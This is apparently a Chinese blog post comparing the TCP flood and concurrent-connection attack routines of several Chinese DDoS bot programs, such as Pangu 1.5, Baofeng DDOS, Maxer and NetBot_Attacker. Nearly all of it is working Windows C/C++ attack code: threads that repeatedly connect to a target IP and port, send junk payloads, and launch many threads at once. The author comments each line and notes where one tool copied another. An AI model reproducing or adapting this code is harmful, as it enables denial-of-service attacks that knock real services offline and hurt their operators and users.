分析者:alalmn—飞龙 BLOG:http://hi.baidu.com/alalmn
分析的不好请各位高手见谅花了几个小时分析的呵呵
TCP攻击主要分为2种
1.TCP并发连接攻击
2.TCP发送垃圾数据攻击
//=================================================================================
冷风的.h
unsigned long CALLBACK connect_break(LPVOID dParam) //TCP攻击
{
SOCKADDR_IN sockAddr; //IP信息结构
SOCKET m_hSocket; //套接字
while(!StopDDosAttack) //判断是否处在攻击状态
{
m_hSocket = socket(PF_INET,SOCK_STREAM,0); //创建socket
memset(&sockAddr,0,sizeof(sockAddr)); //内存空间初始化
sockAddr.sin_family = AF_INET; //指代协议族,在socket编程中只能是AF_INET
sockAddr.sin_port=htons(DdosPort); //存储端口号(使用网络字节顺序)
sockAddr.sin_addr.S_un.S_addr=resolve(DdosUrl); //存储IP地址,使用in_addr这个数据结构
if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0) //连接并 查看是否可以连接
{
Sleep(100); //暂停(毫秒)
continue; //结束本次循环
}
closesocket(m_hSocket); //关闭socket
Sleep(100); //暂停(毫秒)
}
return 1;
}
//=================================================================================
教主网络僵尸.h
for(int i = 0; i < 9000; i++) //循环链接9000次 每次0.5秒
{
CreateThread(NULL, 0, ThreadTCPProc, (LPVOID)(SYN_DEST_PARA*)destpara,0,&uiThreadID); //TCP攻击 TCP多连接
} //创建线程 NULL结构指针 0线程的初始堆栈大小 ThreadTCPProc线程函数指针 (LPVOID)(SYN_DEST_PARA*)destpara共享数据 0标记 &uiThreadID执行变量
//===============================================================
//tcp攻击部分
DWORD WINAPI ThreadTCPProc(LPVOID lpParam) //TCP攻击 TCP多连接
{
SYN_DEST_PARA *destpara = (SYN_DEST_PARA *)lpParam; //SYN_DEST_PARA是自定义的攻击结构
char c_strHost[50];
memset(c_strHost, 0, 50); //内存空间初始化
sprintf(c_strHost, "%s", destpara->IP); //攻击IP
int nPort = atoi(destpara->port); //攻击端口
while(1)
{
if(bStopFlag) //真为没攻击 假为攻击了
{
break;
}
CWSocket m_wskClient;
int m_bConnected = m_wskClient.Connection(c_strHost, nPort);
//连接 IP 端口
Sleep(500); //延时500毫秒
}
return 0;
}
//=================================================================================
盘古1.5.h
///tcp攻击开始
void tcp_flood() //TCP攻击
{
WSADATA WSAData; //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData); //确定SOCKET版本
SOCKADDR_IN sockAddr; //IP信息结构
SOCKET m_hSocket; //套接字
int nSize = strlen(icmpBuffer); //发送的内容
memset(&sockAddr,0,sizeof(sockAddr)); //内存空间初始化
sockAddr.sin_family = AF_INET; //sin_family 地址家族(必须是AF_INET)
sockAddr.sin_port=htons(tgtPort); //存储端口号(使用网络字节顺序)
sockAddr.sin_addr.s_addr = inet_addr(tgtIP); //inet_addr将ip地址转换成网络地址
if ((sockAddr.sin_addr.s_addr = inet_addr(tgtIP)) == INADDR_NONE)
//inet_addr将ip地址转换成网络地址 IP地址不正确返回INADDR_NONE
{
struct hostent *hp = NULL; //hostent IP信息结构体
if ((hp = gethostbyname(tgtIP)) != NULL)
//gethostbyname主机信息 tgtIPIP地址 != NULL不等于空
{
memcpy(&(sockAddr.sin_addr), hp->h_addr, hp->h_length); //复制内存
//hp->h_length表示的是主机ip地址的长度
sockAddr.sin_family = hp->h_addrtype;
//hp->h_addrtype主机ip地址的类型是ipv4(AF_INET)还是ipv6(AF_INET6)
}
else
return;
}
for(;;) //死循环 这是想整死人家啊写个死循环!!!!
{
if (StopFlag == 1) //StopFlag= 1; 表示没有在攻击
{
ExitThread(1); //结束一个线程
return;
}
m_hSocket = socket(PF_INET,SOCK_STREAM,0); //创建socket
if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0) //连接并 查看是否可以连接
continue; //结束本次循环
for(int a=0;a<10240;a++)
{
if (send(m_hSocket,icmpBuffer,nSize,0) ==SOCKET_ERROR) //发送消息 看是否发送成功
break; //关闭循环
}
Sleep(SleepTime); //暂停(毫秒)
//这好像少了一句关闭套接字
}
return;
}
//=================================================================================
暴风DDOS.h
void tcp_flood() //攻击 攻击这块代码使用的是盘古1.5代码没变自己对比着看吧
{
WSADATA WSAData;
WSAStartup(MAKEWORD(2,2) ,&WSAData);
SOCKADDR_IN sockAddr;
SOCKET m_hSocket;
int nSize = strlen(icmpBuffer);
memset(&sockAddr,0,sizeof(sockAddr));
sockAddr.sin_family = AF_INET;
sockAddr.sin_port=htons(tgtPort);
sockAddr.sin_addr.s_addr = inet_addr(tgtIP);
if ((sockAddr.sin_addr.s_addr = inet_addr(tgtIP)) == INADDR_NONE)
{
struct hostent *hp = NULL;
if ((hp = gethostbyname(tgtIP)) != NULL)
{
memcpy(&(sockAddr.sin_addr), hp->h_addr, hp->h_length);
sockAddr.sin_family = hp->h_addrtype;
}
else
return;
}
for(;;)
{
if (StopFlag == 1)
{
ExitThread(1);
return;
}
m_hSocket = socket(PF_INET,SOCK_STREAM,0);
if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0)
continue;
for(int a=0;a<10240;a++)
{
if (send(m_hSocket,icmpBuffer,nSize,0) ==SOCKET_ERROR)
break;
}
Sleep(SleepTime);
}
return;
}
/*--------------------------------------------------------------------------------------*/
void StartTCP(char ip[30],int port,int time,int xc)
{ //IP 端口 时间 线程
if (inet_addr(ip)== INADDR_NONE)
//inet_addr将ip地址转换成网络地址 INADDR_NONE非法地址
{
struct hostent *hp = NULL; //hostent IP信息结构体
if ((hp = gethostbyname(ip)) != NULL) //gethostbyname主机信息
{
in_addr in; //IP地址转换位一个in_addr结构的地址
memcpy(&in, hp->h_addr, hp->h_length); //复制内存
//hp->h_length地址的比特长度
strcpy(tgtIP,inet_ntoa(in)); //复制数据
}
}
else
strcpy(tgtIP,ip); //复制数据
port=tgtPort; //端口
time=timeout; //时间
//把这些数据赋值给一个全局变量 在攻击的时候好使用 这样是不是有点麻烦啊
if (StopFlag == -1) //这点应该查看是否在攻击状态
return;
StopFlag=-1; //进入攻击状态
for(i=0;i<xc;i++) //循环创建线程
{
h[i]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)tcp_flood, NULL, 0, NULL); //具体攻击
}
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL); //结束攻击线程
}
//=================================================================================
Maxer.h
//Maxer ddos 压力测试测试 Beta2.5无限制版 Build 090420
//服务端可以看出使用的还是盘古1.5的代码
//攻击这块还是不一样的我们来分析下
//TCP攻击
DWORD WINAPI TcpFlood(LPVOID dParam)
{
PDDOSINFO pddosinfo = (PDDOSINFO)dParam; //攻击结构体
DDOSINFO ddosinfo; //攻击结构体
memcpy(&ddosinfo,pddosinfo,sizeof(DDOSINFO));//复制内存
char senddata[10]={0}; //发送的攻击内容
int sendsize=10;
memset(senddata,'D',10);//内存空间初始化
WSADATA WSAData;//这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData);//确定SOCKET版本
SOCKADDR_IN tcpaddr;//IP信息结构
tcpaddr.sin_family=AF_INET;//sin_family 地址家族(必须是AF_INET)
tcpaddr.sin_addr.s_addr=resolve(ddosinfo.addr);//ip地址
tcpaddr.sin_port=htons(ddosinfo.port);//存储端口号(使用网络字节顺序)
SOCKET s=socket(AF_INET,SOCK_STREAM,0);//创建socket
//为了减小CPU的利用率,禁止在socket上将数据发送到缓冲。设置SO_SNDBUF为0,
//从而使winsock直接发送数据到客户端,而不是将数据缓冲才发送。
int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项
//接口的描述字 定义的层次 指定发送缓冲区大小 指向存放选项值的缓冲区 缓冲区的长度
while(1) //死循环
{
if(IsStop==1) //判断攻击状态
{
ExitThread(0); //结束线程
return 0;
}
for(int a=0;a<12;a++)
{
if(connect(s,(SOCKADDR *)&tcpaddr,sizeof(tcpaddr))!=SOCKET_ERROR) //连接并 查看是否可以连接
send(s,senddata,sendsize,0);//发送消息
else
continue; //结束本次循环
}
Sleep(20); //暂停(毫秒)
}
}
//=================================================================================
NetBot_Attacker.h
case 6://tcp flood TCP攻击
for (a=0;a<fuckweb.thread;a++) //循环创建线程
{
::CreateThread(NULL,0,TCP_flood,NULL,0,NULL);
}
break;
//--------------------------------------------------------------------
int SEU_Rand(int ran)//自定义的随机数发生器
{
unsigned long Time=GetTickCount(); 获取毫秒级数目
int seed=rand()+3; //产生个随机数+3
seed=(seed*Time)%ran;
return seed;
}
unsigned long CALLBACK TCP_flood(LPVOID dParam)
{
WSADATA WSAData; //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData); //确定SOCKET版本
SOCKADDR_IN sockAddr; //IP信息结构
SOCKET m_hSocket; //套接字
int nSent,firstrun;
char senddata1[152],senddata2[128];
char abc[]="abcdefghijklmnopqrstuvwxyz@$%^&*<>?/|}{+-="; //发送的内容
memset(&sockAddr,0,sizeof(sockAddr)); //内存空间初始化
sockAddr.sin_family = AF_INET; //指代协议族,在socket编程中只能是AF_INET
sockAddr.sin_port=htons(fuckweb.FuckPort); //存储端口号(使用网络字节顺序)
sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP); //存储IP地址,使用in_addr这个数据结构
while(!stopfuck) //判断是否处在攻击状态
{
m_hSocket = socket(PF_INET,SOCK_STREAM,0); //创建socket
if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr))==SOCKET_ERROR) //连接并 查看是否可以连接
{ //SOCKET_ERROR链接错误
closesocket(m_hSocket); //关闭socket
return 1; //返回
}
for(int a=0;a<65000;a++)
{
memset(senddata1,0,152); //内存初始化
memset(senddata2,0,128); //内存初始化
do
{
firstrun=SEU_Rand(120);/*SEU_Rand()在worm.h中定义了*/ //SEU_Rand(int ran)//自定义的随机数发生器
} while(firstrun<20); //循环20次
for(int i=0;i<firstrun;i++)
{
senddata2[i]=abc[SEU_Rand(42)]; //SEU_Rand(int ran)//自定义的随机数发生器
}
sprintf( senddata1, "#%d<<<<<I@C<<<<<%s!",a%10, senddata2); //字串格式化
nSent = send(m_hSocket,senddata1,strlen(senddata1),0); //发送消息
//IP结构体 要发送数据的缓冲区 要发送的数据的字节数 一般置0
if(nSent == SOCKET_ERROR) //看是否发送成功
break; //关闭循环
Sleep(40); //暂停(毫秒)
}
closesocket(m_hSocket); //关闭socket
}
return 1;
}
//==========================================================
//TCP多连接 并发连接
case 5://tcp mutlconnect
for (a=0;a<fuckweb.thread;a++)
{
::CreateThread(NULL,0,connect_break,NULL,0,NULL); //单次攻击
}
::CreateThread(NULL,0,TCP_connect,NULL,0,NULL); //多次攻击
break;
//------
unsigned long CALLBACK connect_break(LPVOID dParam)
{
WSADATA WSAData; //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData);//确定SOCKET版本
SOCKADDR_IN sockAddr;//IP信息结构
SOCKET m_hSocket;//套接字
memset(&sockAddr,0,sizeof(sockAddr));//内存空间初始化
sockAddr.sin_family = AF_INET;//sin_family 地址家族(必须是AF_INET)
sockAddr.sin_port=htons(fuckweb.FuckPort);//存储端口号(使用网络字节顺序)
sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP); //ip地址
while(!stopfuck) //判断是否处在攻击状态
{
m_hSocket = socket(PF_INET,SOCK_STREAM,0); //创建socket
connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)); //连接
Sleep(40); //暂停(毫秒)
closesocket(m_hSocket); //关闭套接字
}
return 1;
}
//------
unsigned long CALLBACK TCP_connect(LPVOID dParam)
{
WSADATA WSAData; //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData); //确定SOCKET版本
SOCKADDR_IN sockAddr; //IP信息结构
SOCKET m_hSocket[200]; //套接字
for (int i=0;i<200;i++)
{
m_hSocket[i] = socket(PF_INET,SOCK_STREAM,0); //创建socket
connect(m_hSocket[i],(SOCKADDR*)&sockAddr, sizeof(sockAddr)); //连接并 查看是否可以连接
Sleep(10); //暂停(毫秒)
}
while(!stopfuck) //判断是否处在攻击状态
{
for (int i=0;i<200;i++)
{
closesocket(m_hSocket[i]); // 关闭套接字
}
Sleep(40); //暂停(毫秒)
}
return 1;
}
//=================================================================================
暴风DDOSVIP2010-225.h
//这个不是暴风写的暴风早就没更新了
void tcpattack() //TCP数据包攻击
{
WSADATA WSAData; //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData); //确定SOCKET版本
SOCKADDR_IN sockAddr; //IP信息结构
SOCKET m_hSocket; //套接字
srand((unsigned)time( NULL ));
//srand随机数函数 time时间
int tcprand=rand()%512+1; 产生个随机数 这个地方应该是学NetBot_Attacker的呵呵
char tcpbuffer[256]; //攻击数据
memset(tcpbuffer,tcprand,256); //内存空间初始化
int nSize = 256;
memset(&sockAddr,0,sizeof(sockAddr)); //内存空间初始化
sockAddr.sin_family = AF_INET; //sin_family 地址家族(必须是AF_INET)
sockAddr.sin_port=htons(tgtPort); //存储端口号(使用网络字节顺序)
sockAddr.sin_addr.s_addr = inet_addr(tgtIP); //inet_addr将ip地址转换成网络地址
for(;;) //死循环
{
if (StopFlag == 1) //是否处在攻击状态
{
ExitThread(1);
return;
}
m_hSocket = socket(PF_INET,SOCK_STREAM,0); //创建socket
if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0) //连接并 查看是否可以连接
continue; //结束本次循环
for(int a=0;a<10240;a++)
{
if (send(m_hSocket,tcpbuffer,nSize,0) ==SOCKET_ERROR) //发送消息 看是否发送成功
break; //关闭循环
}
Sleep(SleepTime); //暂停(毫秒) SleepTime呵呵名字都没变应该是抄袭盘古1.5 还是有点创新的加入了产生个随机数 这个呵呵
}
WSACleanup(); //中止Windows Sockets DLL的使用 这样好像比结束socket好用啊呵呵
return;
}
/*--------------------------------------------------------------------------------------*/
void StartTCP(char ip[30],int port,int mytime,int xc)
{
if (inet_addr(ip)== INADDR_NONE)
//inet_addr将ip地址转换成网络地址 INADDR_NONE非法地址
{
struct hostent *hp = NULL; //hostent IP信息结构体
if ((hp = gethostbyname(ip)) != NULL)//gethostbyname主机信息 IP IP地址 != NULL不等于空
{
in_addr in;
memcpy(&in, hp->h_addr, hp->h_length); //复制内存
strcpy(tgtIP,inet_ntoa(in)); //拷贝
}
}
else
strcpy(tgtIP,ip); //复制数据
port=tgtPort; //端口
timeout=mytime; //时间
if (StopFlag == -1) //这点应该查看是否在攻击状态
return;
StopFlag=-1; //进入攻击状态
for(z=0;z<xc;z++)
{
h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)tcpattack, NULL, 0, NULL); //具体攻击
}
if(timeout!=0)
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL); //结束攻击线程
}
}
/*---------------------------------------------------------------------------------*/
void xpattack() //TCP并发连接攻击
{
WSADATA WSAData; //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData); //确定SOCKET版本
SOCKADDR_IN sockAddr; //IP信息结构
SOCKET m_hSocket; //套接字
int nSize = 256;
memset(&sockAddr,0,sizeof(sockAddr)); //内存空间初始化
sockAddr.sin_family = AF_INET; //sin_family 地址家族(必须是AF_INET)
sockAddr.sin_port=htons(tgtPort); //存储端口号(使用网络字节顺序)
sockAddr.sin_addr.s_addr = inet_addr(tgtIP); //inet_addr将ip地址转换成网络地址
for(;;) //死循环
{
if (StopFlag == 1)//是否在攻击
{
ExitThread(1);//结束一个线程
return;
}
m_hSocket = socket(PF_INET,SOCK_STREAM,0); //创建socket
for(int ss=0;ss<1024;ss++)
{
if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0) //连接并 查看是否可以连接
continue; //结束本次循环
closesocket(m_hSocket); //结束socket
}
Sleep(SleepTime); //暂停(毫秒)
}
WSACleanup(); //中止Windows Sockets DLL的使用
return;
}
/*--------------------------------------------------------------------------------------*/
void StartXP(char ip[30],int port,int mytime,int xc) //tcp connect(流量)
{
if (inet_addr(ip)== INADDR_NONE)
{//inet_addr将ip地址转换成网络地址 INADDR_NONE非法地址
struct hostent *hp = NULL; //hostent IP信息结构体
if ((hp = gethostbyname(ip)) != NULL) //gethostbyname主机信息
{
in_addr in; //IP地址转换位一个in_addr结构的地址
memcpy(&in, hp->h_addr, hp->h_length); //复制内存
strcpy(tgtIP,inet_ntoa(in)); //复制数据
}
}
else
strcpy(tgtIP,ip); //复制数据
port=tgtPort; //端口
timeout=mytime; //时间
if (StopFlag == -1) //这点应该查看是否在攻击状态
return;
StopFlag=-1; //进入攻击状态
for(z=0;z<xc;z++) //循环创建线程
{
h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)xpattack, NULL, 0, NULL); //具体攻击
}
if(SleepTime!=0)
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL); //结束攻击线程
}
}
//=================================================================================
盘古DDOS优化版.h
///TCP
void tcpflood()
{
WSADATA WSAData; //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData); //确定SOCKET版本
SOCKADDR_IN sockAddr; //IP信息结构
SOCKET m_hSocket; //套接字
memset(&sockAddr,0,sizeof(sockAddr)); //内存空间初始化
sockAddr.sin_family = AF_INET; //sin_family 地址家族(必须是AF_INET)
sockAddr.sin_port=htons(tgtport); //存储端口号(使用网络字节顺序)
sockAddr.sin_addr.s_addr = inet_addr(tgtip); //inet_addr将ip地址转换成网络地址
if ((sockAddr.sin_addr.s_addr = inet_addr(tgtip)) == INADDR_NONE) //inet_addr将ip地址转换成网络地址 IP地址不正确返回INADDR_NONE
{
struct hostent *hp = NULL; //hostent IP信息结构体
if ((hp = gethostbyname(tgtip)) != NULL) //gethostbyname主机信息 tgtIPIP地址 != NULL不等于空
{
memcpy(&(sockAddr.sin_addr), hp->h_addr, hp->h_length); //复制内存
sockAddr.sin_family = hp->h_addrtype;//hp->h_addrtype主机ip地址的类型是ipv4(AF_INET)还是ipv6(AF_INET6)
}
else
return;
}
for(;;) //死循环 这是想整死人家啊写个死循环!!!!
{
if (Stop == 1) //StopFlag= 1; 表示没有在攻击
{
ExitThread(1);
return;
}
m_hSocket = socket(PF_INET,SOCK_STREAM,0); //创建socket
if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0) //连接并 查看是否可以连接
continue;
for(int a=0;a<1024;a++)
{
if (send(m_hSocket,"aaaaaa",6,0) ==SOCKET_ERROR) //发送消息 看是否发送成功
break;
}
Sleep(20); //暂停(毫秒)
//这好像少了一句关闭套接字
}
return;
}
//=========================================================